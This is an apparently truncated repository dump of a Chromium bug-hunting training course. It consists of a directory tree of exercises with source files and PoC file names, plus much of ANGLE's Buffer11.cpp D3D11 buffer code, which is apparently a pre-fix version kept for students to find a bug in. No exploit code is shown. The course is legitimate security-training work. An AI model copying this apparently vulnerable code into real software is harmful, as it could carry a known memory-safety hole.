master c86d7f11ac7f cached
63 files
1.4 MB
342.2k tokens
575 symbols
1 requests
Download .txt
Showing preview only (1,504K chars total). Download the full file or copy to clipboard to get everything.
Repository: StarCrossPortal/bug-hunting-101
Branch: master
Commit: c86d7f11ac7f
Files: 63
Total size: 1.4 MB

Directory structure:
gitextract_pvp47mds/

├── LEVEL_1/
│   ├── README.md
│   ├── exercise_1/
│   │   ├── Buffer11.cpp
│   │   ├── README.md
│   │   └── poc.html
│   ├── exercise_2/
│   │   ├── README.md
│   │   └── VertexArray11.cpp
│   ├── exercise_3/
│   │   ├── IndexDataManager.cpp
│   │   ├── README.md
│   │   └── poc.html
│   ├── exercise_4/
│   │   ├── README.md
│   │   └── mac_scrollbar_animator_impl.mm
│   ├── exercise_5/
│   │   ├── README.md
│   │   ├── css_interpolation_types_map.cc
│   │   └── poc.html
│   ├── exercise_6/
│   │   ├── README.md
│   │   ├── animatable.cc
│   │   ├── effect_input.cc
│   │   ├── keyframe_effect.cc
│   │   └── poc.html
│   └── exercise_7/
│       ├── README.md
│       ├── marker.cc
│       └── marking-state.h
├── LEVEL_2/
│   ├── README.md
│   ├── exercise_1/
│   │   ├── README.md
│   │   └── text_searcher_icu.cc
│   ├── exercise_2/
│   │   ├── README.md
│   │   └── visible_units.cc
│   ├── exercise_3/
│   │   ├── README.md
│   │   ├── deflate_transformer.cc
│   │   └── inflate_transformer.cc
│   ├── exercise_4/
│   │   ├── README.md
│   │   └── tab_strip_model.cc
│   ├── exercise_5/
│   │   ├── README.md
│   │   ├── tab_drag_controller.cc
│   │   ├── tab_drag_controller.h
│   │   ├── tab_strip_model.cc
│   │   └── tab_strip_model.h
│   ├── exercise_6/
│   │   ├── README.md
│   │   └── pdfium_page.cc
│   └── exercise_7/
│       ├── README.md
│       └── webgl_rendering_context_base.cc
├── LEVEL_3/
│   ├── README.md
│   ├── exercise_1/
│   │   ├── README.md
│   │   ├── navigation_predictor.cc
│   │   └── navigation_predictor.h
│   ├── exercise_2/
│   │   ├── README.md
│   │   ├── representation-change.cc
│   │   └── representation-change.h
│   ├── exercise_3/
│   │   ├── README.md
│   │   ├── node_channel.cc
│   │   ├── node_channel.h
│   │   └── user_message_impl.cc
│   ├── exercise_4/
│   │   ├── README.md
│   │   └── receiver_set.h
│   ├── exercise_5/
│   │   ├── README.md
│   │   └── page_handler.cc
│   ├── exercise_6/
│   │   ├── README.md
│   │   ├── ipc_message_pipe_reader.cc
│   │   ├── pickle.cc
│   │   └── pickle.h
│   └── exercise_7/
│       └── README.md
├── README.md
└── Template.md

================================================
FILE CONTENTS
================================================

================================================
FILE: LEVEL_1/README.md
================================================
# LEVEL 1

I will collect some related code and useful descriptions, in order to provide all your demands. But if you feel these not enough, you need to search yourself.

Find the bug yourself, and if you feel difficult can see tips or the answer. 

I believe you can do better than me.



================================================
FILE: LEVEL_1/exercise_1/Buffer11.cpp
================================================
//
// Copyright 2014 The ANGLE Project Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Buffer11.cpp Defines the Buffer11 class.
#include "libANGLE/renderer/d3d/d3d11/Buffer11.h"
#include <memory>
#include "common/MemoryBuffer.h"
#include "libANGLE/Context.h"
#include "libANGLE/renderer/d3d/IndexDataManager.h"
#include "libANGLE/renderer/d3d/VertexDataManager.h"
#include "libANGLE/renderer/d3d/d3d11/Context11.h"
#include "libANGLE/renderer/d3d/d3d11/RenderTarget11.h"
#include "libANGLE/renderer/d3d/d3d11/Renderer11.h"
#include "libANGLE/renderer/d3d/d3d11/formatutils11.h"
#include "libANGLE/renderer/d3d/d3d11/renderer11_utils.h"
#include "libANGLE/renderer/renderer_utils.h"
namespace rx
{
namespace
{
template <typename T>
GLuint ReadIndexValueFromIndices(const uint8_t *data, size_t index)
{
    return reinterpret_cast<const T *>(data)[index];
}
typedef GLuint (*ReadIndexValueFunction)(const uint8_t *data, size_t index);
enum class CopyResult
{
    RECREATED,
    NOT_RECREATED,
};
void CalculateConstantBufferParams(GLintptr offset,
                                   GLsizeiptr size,
                                   UINT *outFirstConstant,
                                   UINT *outNumConstants)
{
    // The offset must be aligned to 256 bytes (should have been enforced by glBindBufferRange).
    ASSERT(offset % 256 == 0);
    // firstConstant and numConstants are expressed in constants of 16-bytes. Furthermore they must
    // be a multiple of 16 constants.
    *outFirstConstant = static_cast<UINT>(offset / 16);
    // The GL size is not required to be aligned to a 256 bytes boundary.
    // Round the size up to a 256 bytes boundary then express the results in constants of 16-bytes.
    *outNumConstants = static_cast<UINT>(rx::roundUp(size, static_cast<GLsizeiptr>(256)) / 16);
    // Since the size is rounded up, firstConstant + numConstants may be bigger than the actual size
    // of the buffer. This behaviour is explictly allowed according to the documentation on
    // ID3D11DeviceContext1::PSSetConstantBuffers1
    // https://msdn.microsoft.com/en-us/library/windows/desktop/hh404649%28v=vs.85%29.aspx
}
}  // anonymous namespace
namespace gl_d3d11
{
D3D11_MAP GetD3DMapTypeFromBits(BufferUsage usage, GLbitfield access)
{
    bool readBit  = ((access & GL_MAP_READ_BIT) != 0);
    bool writeBit = ((access & GL_MAP_WRITE_BIT) != 0);
    ASSERT(readBit || writeBit);
    // Note : we ignore the discard bit, because in D3D11, staging buffers
    //  don't accept the map-discard flag (discard only works for DYNAMIC usage)
    if (readBit && !writeBit)
    {
        return D3D11_MAP_READ;
    }
    else if (writeBit && !readBit)
    {
        // Special case for uniform storage - we only allow full buffer updates.
        return usage == BUFFER_USAGE_UNIFORM || usage == BUFFER_USAGE_STRUCTURED
                   ? D3D11_MAP_WRITE_DISCARD
                   : D3D11_MAP_WRITE;
    }
    else if (writeBit && readBit)
    {
        return D3D11_MAP_READ_WRITE;
    }
    else
    {
        UNREACHABLE();
        return D3D11_MAP_READ;
    }
}
}  // namespace gl_d3d11
// Each instance of Buffer11::BufferStorage is specialized for a class of D3D binding points
// - vertex/transform feedback buffers
// - index buffers
// - pixel unpack buffers
// - uniform buffers
class Buffer11::BufferStorage : angle::NonCopyable
{
  public:
    virtual ~BufferStorage() {}
    DataRevision getDataRevision() const { return mRevision; }
    BufferUsage getUsage() const { return mUsage; }
    size_t getSize() const { return mBufferSize; }
    void setDataRevision(DataRevision rev) { mRevision = rev; }
    virtual bool isCPUAccessible(GLbitfield access) const = 0;
    virtual bool isGPUAccessible() const = 0;
    virtual angle::Result copyFromStorage(const gl::Context *context,
                                          BufferStorage *source,
                                          size_t sourceOffset,
                                          size_t size,
                                          size_t destOffset,
                                          CopyResult *resultOut)                             = 0;
    virtual angle::Result resize(const gl::Context *context, size_t size, bool preserveData) = 0;
    virtual angle::Result map(const gl::Context *context,
                              size_t offset,
                              size_t length,
                              GLbitfield access,
                              uint8_t **mapPointerOut) = 0;
    virtual void unmap()                               = 0;
    angle::Result setData(const gl::Context *context,
                          const uint8_t *data,
                          size_t offset,
                          size_t size);
    void setStructureByteStride(unsigned int structureByteStride);
  protected:
    BufferStorage(Renderer11 *renderer, BufferUsage usage);
    Renderer11 *mRenderer;
    DataRevision mRevision;
    const BufferUsage mUsage;
    size_t mBufferSize;
};
// A native buffer storage represents an underlying D3D11 buffer for a particular
// type of storage.
class Buffer11::NativeStorage : public Buffer11::BufferStorage
{
  public:
    NativeStorage(Renderer11 *renderer, BufferUsage usage, const angle::Subject *onStorageChanged);
    ~NativeStorage() override;
    bool isCPUAccessible(GLbitfield access) const override;
    bool isGPUAccessible() const override { return true; }
    const d3d11::Buffer &getBuffer() const { return mBuffer; }
    angle::Result copyFromStorage(const gl::Context *context,
                                  BufferStorage *source,
                                  size_t sourceOffset,
                                  size_t size,
                                  size_t destOffset,
                                  CopyResult *resultOut) override;
    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;
    angle::Result map(const gl::Context *context,
                      size_t offset,
                      size_t length,
                      GLbitfield access,
                      uint8_t **mapPointerOut) override;
    void unmap() override;
    angle::Result getSRVForFormat(const gl::Context *context,
                                  DXGI_FORMAT srvFormat,
                                  const d3d11::ShaderResourceView **srvOut);
    angle::Result getRawUAV(const gl::Context *context,
                            unsigned int offset,
                            unsigned int size,
                            d3d11::UnorderedAccessView **uavOut);
  protected:
    d3d11::Buffer mBuffer;
    const angle::Subject *mOnStorageChanged;
  private:
    static void FillBufferDesc(D3D11_BUFFER_DESC *bufferDesc,
                               Renderer11 *renderer,
                               BufferUsage usage,
                               unsigned int bufferSize);
    void clearSRVs();
    void clearUAVs();
    std::map<DXGI_FORMAT, d3d11::ShaderResourceView> mBufferResourceViews;
    std::map<std::pair<unsigned int, unsigned int>, d3d11::UnorderedAccessView> mBufferRawUAVs;
};
class Buffer11::StructuredBufferStorage : public Buffer11::NativeStorage
{
  public:
    StructuredBufferStorage(Renderer11 *renderer,
                            BufferUsage usage,
                            const angle::Subject *onStorageChanged);
    ~StructuredBufferStorage() override;
    angle::Result resizeStructuredBuffer(const gl::Context *context,
                                         unsigned int size,
                                         unsigned int structureByteStride);
    angle::Result getStructuredBufferRangeSRV(const gl::Context *context,
                                              unsigned int offset,
                                              unsigned int size,
                                              unsigned int structureByteStride,
                                              const d3d11::ShaderResourceView **bufferOut);
  private:
    d3d11::ShaderResourceView mStructuredBufferResourceView;
};
// A emulated indexed buffer storage represents an underlying D3D11 buffer for data
// that has been expanded to match the indices list used. This storage is only
// used for FL9_3 pointsprite rendering emulation.
class Buffer11::EmulatedIndexedStorage : public Buffer11::BufferStorage
{
  public:
    EmulatedIndexedStorage(Renderer11 *renderer);
    ~EmulatedIndexedStorage() override;
    bool isCPUAccessible(GLbitfield access) const override { return true; }
    bool isGPUAccessible() const override { return false; }
    angle::Result getBuffer(const gl::Context *context,
                            SourceIndexData *indexInfo,
                            const TranslatedAttribute &attribute,
                            GLint startVertex,
                            const d3d11::Buffer **bufferOut);
    angle::Result copyFromStorage(const gl::Context *context,
                                  BufferStorage *source,
                                  size_t sourceOffset,
                                  size_t size,
                                  size_t destOffset,
                                  CopyResult *resultOut) override;
    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;
    angle::Result map(const gl::Context *context,
                      size_t offset,
                      size_t length,
                      GLbitfield access,
                      uint8_t **mapPointerOut) override;
    void unmap() override;
  private:
    d3d11::Buffer mBuffer;                     // contains expanded data for use by D3D
    angle::MemoryBuffer mMemoryBuffer;         // original data (not expanded)
    angle::MemoryBuffer mIndicesMemoryBuffer;  // indices data
};
// Pack storage represents internal storage for pack buffers. We implement pack buffers
// as CPU memory, tied to a staging texture, for asynchronous texture readback.
class Buffer11::PackStorage : public Buffer11::BufferStorage
{
  public:
    explicit PackStorage(Renderer11 *renderer);
    ~PackStorage() override;
    bool isCPUAccessible(GLbitfield access) const override { return true; }
    bool isGPUAccessible() const override { return false; }
    angle::Result copyFromStorage(const gl::Context *context,
                                  BufferStorage *source,
                                  size_t sourceOffset,
                                  size_t size,
                                  size_t destOffset,
                                  CopyResult *resultOut) override;
    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;
    angle::Result map(const gl::Context *context,
                      size_t offset,
                      size_t length,
                      GLbitfield access,
                      uint8_t **mapPointerOut) override;
    void unmap() override;
    angle::Result packPixels(const gl::Context *context,
                             const gl::FramebufferAttachment &readAttachment,
                             const PackPixelsParams &params);
  private:
    angle::Result flushQueuedPackCommand(const gl::Context *context);
    TextureHelper11 mStagingTexture;
    angle::MemoryBuffer mMemoryBuffer;
    std::unique_ptr<PackPixelsParams> mQueuedPackCommand;
    PackPixelsParams mPackParams;
    bool mDataModified;
};
// System memory storage stores a CPU memory buffer with our buffer data.
// For dynamic data, it's much faster to update the CPU memory buffer than
// it is to update a D3D staging buffer and read it back later.
class Buffer11::SystemMemoryStorage : public Buffer11::BufferStorage
{
  public:
    explicit SystemMemoryStorage(Renderer11 *renderer);
    ~SystemMemoryStorage() override {}
    bool isCPUAccessible(GLbitfield access) const override { return true; }
    bool isGPUAccessible() const override { return false; }
    angle::Result copyFromStorage(const gl::Context *context,
                                  BufferStorage *source,
                                  size_t sourceOffset,
                                  size_t size,
                                  size_t destOffset,
                                  CopyResult *resultOut) override;
    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;
    angle::Result map(const gl::Context *context,
                      size_t offset,
                      size_t length,
                      GLbitfield access,
                      uint8_t **mapPointerOut) override;
    void unmap() override;
    angle::MemoryBuffer *getSystemCopy() { return &mSystemCopy; }
  protected:
    angle::MemoryBuffer mSystemCopy;
};
Buffer11::Buffer11(const gl::BufferState &state, Renderer11 *renderer)
    : BufferD3D(state, renderer),
      mRenderer(renderer),
      mSize(0),
      mMappedStorage(nullptr),
      mBufferStorages({}),
      mLatestBufferStorage(nullptr),
      mDeallocThresholds({}),
      mIdleness({}),
      mConstantBufferStorageAdditionalSize(0),
      mMaxConstantBufferLruCount(0),
      mStructuredBufferStorageAdditionalSize(0),
      mMaxStructuredBufferLruCount(0)
{}
Buffer11::~Buffer11()
{
    for (BufferStorage *&storage : mBufferStorages)
    {
        SafeDelete(storage);
    }
    for (auto &p : mConstantBufferRangeStoragesCache)
    {
        SafeDelete(p.second.storage);
    }
    for (auto &p : mStructuredBufferRangeStoragesCache)
    {
        SafeDelete(p.second.storage);
    }
    mRenderer->onBufferDelete(this);
}
angle::Result Buffer11::setData(const gl::Context *context,
                                gl::BufferBinding target,
                                const void *data,
                                size_t size,
                                gl::BufferUsage usage)
{
    updateD3DBufferUsage(context, usage);
    return setSubData(context, target, data, size, 0);
}
angle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)
{
    if (mSize == 0)
    {
        // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust
        // buffer access behavior mode if there are buffers without any data. However, technically
        // it should still be possible to draw, with fetches from this buffer returning zero.
        return angle::Result::Stop;
    }
    SystemMemoryStorage *systemMemoryStorage = nullptr;
    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));
    ASSERT(systemMemoryStorage->getSize() >= mSize);
    *outData = systemMemoryStorage->getSystemCopy()->data();
    return angle::Result::Continue;
}
angle::Result Buffer11::setSubData(const gl::Context *context,
                                   gl::BufferBinding target,
                                   const void *data,
                                   size_t size,
                                   size_t offset)
{
    size_t requiredSize = size + offset;
    if (data && size > 0)
    {
        // Use system memory storage for dynamic buffers.
        // Try using a constant storage for constant buffers
        BufferStorage *writeBuffer = nullptr;
        if (target == gl::BufferBinding::Uniform)
        {
            // If we are a very large uniform buffer, keep system memory storage around so that we
            // aren't forced to read back from a constant buffer. We also check the workaround for
            // Intel - this requires us to use system memory so we don't end up having to copy from
            // a constant buffer to a staging buffer.
            // TODO(jmadill): Use Context caps.
            if (offset == 0 && size >= mSize &&
                size <= static_cast<UINT>(mRenderer->getNativeCaps().maxUniformBlockSize) &&
                !mRenderer->getFeatures().useSystemMemoryForConstantBuffers.enabled)
            {
                BufferStorage *latestStorage = nullptr;
                ANGLE_TRY(getLatestBufferStorage(context, &latestStorage));
                if (latestStorage && (latestStorage->getUsage() == BUFFER_USAGE_STRUCTURED))
                {
                    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_STRUCTURED, &writeBuffer));
                }
                else
                {
                    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_UNIFORM, &writeBuffer));
                }
            }
            else
            {
                ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &writeBuffer));
            }
        }
        else if (supportsDirectBinding())
        {
            ANGLE_TRY(getStagingStorage(context, &writeBuffer));
        }
        else
        {
            ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &writeBuffer));
        }
        ASSERT(writeBuffer);
        // Explicitly resize the staging buffer, preserving data if the new data will not
        // completely fill the buffer
        if (writeBuffer->getSize() < requiredSize)
        {
            bool preserveData = (offset > 0);
            ANGLE_TRY(writeBuffer->resize(context, requiredSize, preserveData));
        }
        ANGLE_TRY(writeBuffer->setData(context, static_cast<const uint8_t *>(data), offset, size));
        onStorageUpdate(writeBuffer);
    }
    mSize = std::max(mSize, requiredSize);
    invalidateStaticData(context);
    return angle::Result::Continue;
}
angle::Result Buffer11::copySubData(const gl::Context *context,
                                    BufferImpl *source,
                                    GLintptr sourceOffset,
                                    GLintptr destOffset,
                                    GLsizeiptr size)
{
    Buffer11 *sourceBuffer = GetAs<Buffer11>(source);
    ASSERT(sourceBuffer != nullptr);
    BufferStorage *copyDest = nullptr;
    ANGLE_TRY(getLatestBufferStorage(context, &copyDest));
    if (!copyDest)
    {
        ANGLE_TRY(getStagingStorage(context, &copyDest));
    }
    BufferStorage *copySource = nullptr;
    ANGLE_TRY(sourceBuffer->getLatestBufferStorage(context, &copySource));
    if (!copySource)
    {
        ANGLE_TRY(sourceBuffer->getStagingStorage(context, &copySource));
    }
    ASSERT(copySource && copyDest);
    // A staging buffer is needed if there is no cpu-cpu or gpu-gpu copy path avaiable.
    if (!copyDest->isGPUAccessible() && !copySource->isCPUAccessible(GL_MAP_READ_BIT))
    {
        ANGLE_TRY(sourceBuffer->getStagingStorage(context, &copySource));
    }
    else if (!copySource->isGPUAccessible() && !copyDest->isCPUAccessible(GL_MAP_WRITE_BIT))
    {
        ANGLE_TRY(getStagingStorage(context, &copyDest));
    }
    // D3D11 does not allow overlapped copies until 11.1, and only if the
    // device supports D3D11_FEATURE_DATA_D3D11_OPTIONS::CopyWithOverlap
    // Get around this via a different source buffer
    if (copySource == copyDest)
    {
        if (copySource->getUsage() == BUFFER_USAGE_STAGING)
        {
            ANGLE_TRY(
                getBufferStorage(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK, &copySource));
        }
        else
        {
            ANGLE_TRY(getStagingStorage(context, &copySource));
        }
    }
    CopyResult copyResult = CopyResult::NOT_RECREATED;
    ANGLE_TRY(copyDest->copyFromStorage(context, copySource, sourceOffset, size, destOffset,
                                        &copyResult));
    onStorageUpdate(copyDest);
    mSize = std::max<size_t>(mSize, destOffset + size);
    invalidateStaticData(context);
    return angle::Result::Continue;
}
angle::Result Buffer11::map(const gl::Context *context, GLenum access, void **mapPtr)
{
    // GL_OES_mapbuffer uses an enum instead of a bitfield for it's access, convert to a bitfield
    // and call mapRange.
    ASSERT(access == GL_WRITE_ONLY_OES);
    return mapRange(context, 0, mSize, GL_MAP_WRITE_BIT, mapPtr);
}
angle::Result Buffer11::mapRange(const gl::Context *context,
                                 size_t offset,
                                 size_t length,
                                 GLbitfield access,
                                 void **mapPtr)
{
    ASSERT(!mMappedStorage);
    BufferStorage *latestStorage = nullptr;
    ANGLE_TRY(getLatestBufferStorage(context, &latestStorage));
    if (latestStorage && (latestStorage->getUsage() == BUFFER_USAGE_PIXEL_PACK ||
                          latestStorage->getUsage() == BUFFER_USAGE_STAGING))
    {
        // Latest storage is mappable.
        mMappedStorage = latestStorage;
    }
    else
    {
        // Fall back to using the staging buffer if the latest storage does not exist or is not
        // CPU-accessible.
        ANGLE_TRY(getStagingStorage(context, &mMappedStorage));
    }
    Context11 *context11 = GetImplAs<Context11>(context);
    ANGLE_CHECK_GL_ALLOC(context11, mMappedStorage);
    if ((access & GL_MAP_WRITE_BIT) > 0)
    {
        // Update the data revision immediately, since the data might be changed at any time
        onStorageUpdate(mMappedStorage);
        invalidateStaticData(context);
    }
    uint8_t *mappedBuffer = nullptr;
    ANGLE_TRY(mMappedStorage->map(context, offset, length, access, &mappedBuffer));
    ASSERT(mappedBuffer);
    *mapPtr = static_cast<void *>(mappedBuffer);
    return angle::Result::Continue;
}
angle::Result Buffer11::unmap(const gl::Context *context, GLboolean *result)
{
    ASSERT(mMappedStorage);
    mMappedStorage->unmap();
    mMappedStorage = nullptr;
    // TODO: detect if we had corruption. if so, return false.
    *result = GL_TRUE;
    return angle::Result::Continue;
}
angle::Result Buffer11::markTransformFeedbackUsage(const gl::Context *context)
{
    ANGLE_TRY(markBufferUsage(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK));
    return angle::Result::Continue;
}
void Buffer11::updateDeallocThreshold(BufferUsage usage)
{
    // The following strategy was tuned on the Oort online benchmark (http://oortonline.gl/)
    // as well as a custom microbenchmark (IndexConversionPerfTest.Run/index_range_d3d11)
    // First readback: 8 unmodified uses before we free buffer memory.
    // After that, double the threshold each time until we reach the max.
    if (mDeallocThresholds[usage] == 0)
    {
        mDeallocThresholds[usage] = 8;
    }
    else if (mDeallocThresholds[usage] < std::numeric_limits<unsigned int>::max() / 2u)
    {
        mDeallocThresholds[usage] *= 2u;
    }
    else
    {
        mDeallocThresholds[usage] = std::numeric_limits<unsigned int>::max();
    }
}
// Free the storage if we decide it isn't being used very often.
angle::Result Buffer11::checkForDeallocation(const gl::Context *context, BufferUsage usage)
{
    mIdleness[usage]++;
    BufferStorage *&storage = mBufferStorages[usage];
    if (storage != nullptr && mIdleness[usage] > mDeallocThresholds[usage])
    {
        BufferStorage *latestStorage = nullptr;
        ANGLE_TRY(getLatestBufferStorage(context, &latestStorage));
        if (latestStorage != storage)
        {
            SafeDelete(storage);
        }
    }
    return angle::Result::Continue;
}
// Keep system memory when we are using it for the canonical version of data.
bool Buffer11::canDeallocateSystemMemory() const
{
    // Must keep system memory on Intel.
    if (mRenderer->getFeatures().useSystemMemoryForConstantBuffers.enabled)
    {
        return false;
    }
    return (!mBufferStorages[BUFFER_USAGE_UNIFORM] ||
            mSize <= static_cast<size_t>(mRenderer->getNativeCaps().maxUniformBlockSize));
}
void Buffer11::markBufferUsage(BufferUsage usage)
{
    mIdleness[usage] = 0;
}
angle::Result Buffer11::markBufferUsage(const gl::Context *context, BufferUsage usage)
{
    BufferStorage *bufferStorage = nullptr;
    ANGLE_TRY(getBufferStorage(context, usage, &bufferStorage));
    if (bufferStorage)
    {
        onStorageUpdate(bufferStorage);
    }
    invalidateStaticData(context);
    return angle::Result::Continue;
}
angle::Result Buffer11::garbageCollection(const gl::Context *context, BufferUsage currentUsage)
{
    if (currentUsage != BUFFER_USAGE_SYSTEM_MEMORY && canDeallocateSystemMemory())
    {
        ANGLE_TRY(checkForDeallocation(context, BUFFER_USAGE_SYSTEM_MEMORY));
    }
    if (currentUsage != BUFFER_USAGE_STAGING)
    {
        ANGLE_TRY(checkForDeallocation(context, BUFFER_USAGE_STAGING));
    }
    return angle::Result::Continue;
}
angle::Result Buffer11::getBuffer(const gl::Context *context,
                                  BufferUsage usage,
                                  ID3D11Buffer **bufferOut)
{
    NativeStorage *storage = nullptr;
    ANGLE_TRY(getBufferStorage(context, usage, &storage));
    *bufferOut = storage->getBuffer().get();
    return angle::Result::Continue;
}
angle::Result Buffer11::getEmulatedIndexedBuffer(const gl::Context *context,
                                                 SourceIndexData *indexInfo,
                                                 const TranslatedAttribute &attribute,
                                                 GLint startVertex,
                                                 ID3D11Buffer **bufferOut)
{
    ASSERT(indexInfo);
    EmulatedIndexedStorage *emulatedStorage = nullptr;
    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_EMULATED_INDEXED_VERTEX, &emulatedStorage));
    const d3d11::Buffer *nativeBuffer = nullptr;
    ANGLE_TRY(
        emulatedStorage->getBuffer(context, indexInfo, attribute, startVertex, &nativeBuffer));
    *bufferOut = nativeBuffer->get();
    return angle::Result::Continue;
}
angle::Result Buffer11::getConstantBufferRange(const gl::Context *context,
                                               GLintptr offset,
                                               GLsizeiptr size,
                                               const d3d11::Buffer **bufferOut,
                                               UINT *firstConstantOut,
                                               UINT *numConstantsOut)
{
    NativeStorage *bufferStorage = nullptr;
    if ((offset == 0 &&
         size < static_cast<GLsizeiptr>(mRenderer->getNativeCaps().maxUniformBlockSize)) ||
        mRenderer->getRenderer11DeviceCaps().supportsConstantBufferOffsets)
    {
        ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_UNIFORM, &bufferStorage));
        CalculateConstantBufferParams(offset, size, firstConstantOut, numConstantsOut);
    }
    else
    {
        ANGLE_TRY(getConstantBufferRangeStorage(context, offset, size, &bufferStorage));
        *firstConstantOut = 0;
        *numConstantsOut  = 0;
    }
    *bufferOut = &bufferStorage->getBuffer();
    return angle::Result::Continue;
}
angle::Result Buffer11::markRawBufferUsage(const gl::Context *context)
{
    ANGLE_TRY(markBufferUsage(context, BUFFER_USAGE_RAW_UAV));
    return angle::Result::Continue;
}
angle::Result Buffer11::getRawUAVRange(const gl::Context *context,
                                       GLintptr offset,
                                       GLsizeiptr size,
                                       d3d11::UnorderedAccessView **uavOut)
{
    NativeStorage *nativeStorage = nullptr;
    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_RAW_UAV, &nativeStorage));
    return nativeStorage->getRawUAV(context, static_cast<unsigned int>(offset),
                                    static_cast<unsigned int>(size), uavOut);
}
angle::Result Buffer11::getSRV(const gl::Context *context,
                               DXGI_FORMAT srvFormat,
                               const d3d11::ShaderResourceView **srvOut)
{
    NativeStorage *nativeStorage = nullptr;
    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_PIXEL_UNPACK, &nativeStorage));
    return nativeStorage->getSRVForFormat(context, srvFormat, srvOut);
}
angle::Result Buffer11::packPixels(const gl::Context *context,
                                   const gl::FramebufferAttachment &readAttachment,
                                   const PackPixelsParams &params)
{
    PackStorage *packStorage = nullptr;
    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_PIXEL_PACK, &packStorage));
    ASSERT(packStorage);
    ANGLE_TRY(packStorage->packPixels(context, readAttachment, params));
    onStorageUpdate(packStorage);
    return angle::Result::Continue;
}
size_t Buffer11::getTotalCPUBufferMemoryBytes() const
{
    size_t allocationSize = 0;
    BufferStorage *staging = mBufferStorages[BUFFER_USAGE_STAGING];
    allocationSize += staging ? staging->getSize() : 0;
    BufferStorage *sysMem = mBufferStorages[BUFFER_USAGE_SYSTEM_MEMORY];
    allocationSize += sysMem ? sysMem->getSize() : 0;
    return allocationSize;
}
template <typename StorageOutT>
angle::Result Buffer11::getBufferStorage(const gl::Context *context,
                                         BufferUsage usage,
                                         StorageOutT **storageOut)
{
    ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);
    BufferStorage *&newStorage = mBufferStorages[usage];
    if (!newStorage)
    {
        newStorage = allocateStorage(usage);
    }
    markBufferUsage(usage);
    // resize buffer
    if (newStorage->getSize() < mSize)
    {
        ANGLE_TRY(newStorage->resize(context, mSize, true));
    }
    ASSERT(newStorage);
    ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize));
    ANGLE_TRY(garbageCollection(context, usage));
    *storageOut = GetAs<StorageOutT>(newStorage);
    return angle::Result::Continue;
}
Buffer11::BufferStorage *Buffer11::allocateStorage(BufferUsage usage)
{
    updateDeallocThreshold(usage);
    switch (usage)
    {
        case BUFFER_USAGE_PIXEL_PACK:
            return new PackStorage(mRenderer);
        case BUFFER_USAGE_SYSTEM_MEMORY:
            return new SystemMemoryStorage(mRenderer);
        case BUFFER_USAGE_EMULATED_INDEXED_VERTEX:
            return new EmulatedIndexedStorage(mRenderer);
        case BUFFER_USAGE_INDEX:
        case BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK:
            return new NativeStorage(mRenderer, usage, this);
        case BUFFER_USAGE_STRUCTURED:
            return new StructuredBufferStorage(mRenderer, usage, nullptr);
        default:
            return new NativeStorage(mRenderer, usage, nullptr);
    }
}
angle::Result Buffer11::getConstantBufferRangeStorage(const gl::Context *context,
                                                      GLintptr offset,
                                                      GLsizeiptr size,
                                                      Buffer11::NativeStorage **storageOut)
{
    BufferStorage *newStorage;
    {
        // Keep the cacheEntry in a limited scope because it may be invalidated later in the code if
        // we need to reclaim some space.
        BufferCacheEntry *cacheEntry = &mConstantBufferRangeStoragesCache[offset];
        if (!cacheEntry->storage)
        {
            cacheEntry->storage  = allocateStorage(BUFFER_USAGE_UNIFORM);
            cacheEntry->lruCount = ++mMaxConstantBufferLruCount;
        }
        cacheEntry->lruCount = ++mMaxConstantBufferLruCount;
        newStorage           = cacheEntry->storage;
    }
    markBufferUsage(BUFFER_USAGE_UNIFORM);
    if (newStorage->getSize() < static_cast<size_t>(size))
    {
        size_t maximumAllowedAdditionalSize = 2 * getSize();
        size_t sizeDelta = size - newStorage->getSize();
        while (mConstantBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize)
        {
            auto iter = std::min_element(
                std::begin(mConstantBufferRangeStoragesCache),
                std::end(mConstantBufferRangeStoragesCache),
                [](const BufferCache::value_type &a, const BufferCache::value_type &b) {
                    return a.second.lruCount < b.second.lruCount;
                });
            ASSERT(iter->second.storage != newStorage);
            ASSERT(mConstantBufferStorageAdditionalSize >= iter->second.storage->getSize());
            mConstantBufferStorageAdditionalSize -= iter->second.storage->getSize();
            SafeDelete(iter->second.storage);
            mConstantBufferRangeStoragesCache.erase(iter);
        }
        ANGLE_TRY(newStorage->resize(context, size, false));
        mConstantBufferStorageAdditionalSize += sizeDelta;
        // We don't copy the old data when resizing the constant buffer because the data may be
        // out-of-date therefore we reset the data revision and let updateBufferStorage() handle the
        // copy.
        newStorage->setDataRevision(0);
    }
    ANGLE_TRY(updateBufferStorage(context, newStorage, offset, size));
    ANGLE_TRY(garbageCollection(context, BUFFER_USAGE_UNIFORM));
    *storageOut = GetAs<NativeStorage>(newStorage);
    return angle::Result::Continue;
}
angle::Result Buffer11::getStructuredBufferRangeSRV(const gl::Context *context,
                                                    unsigned int offset,
                                                    unsigned int size,
                                                    unsigned int structureByteStride,
                                                    const d3d11::ShaderResourceView **srvOut)
{
    BufferStorage *newStorage;
    {
        // Keep the cacheEntry in a limited scope because it may be invalidated later in the code if
        // we need to reclaim some space.
        StructuredBufferKey structuredBufferKey = StructuredBufferKey(offset, structureByteStride);
        BufferCacheEntry *cacheEntry = &mStructuredBufferRangeStoragesCache[structuredBufferKey];
        if (!cacheEntry->storage)
        {
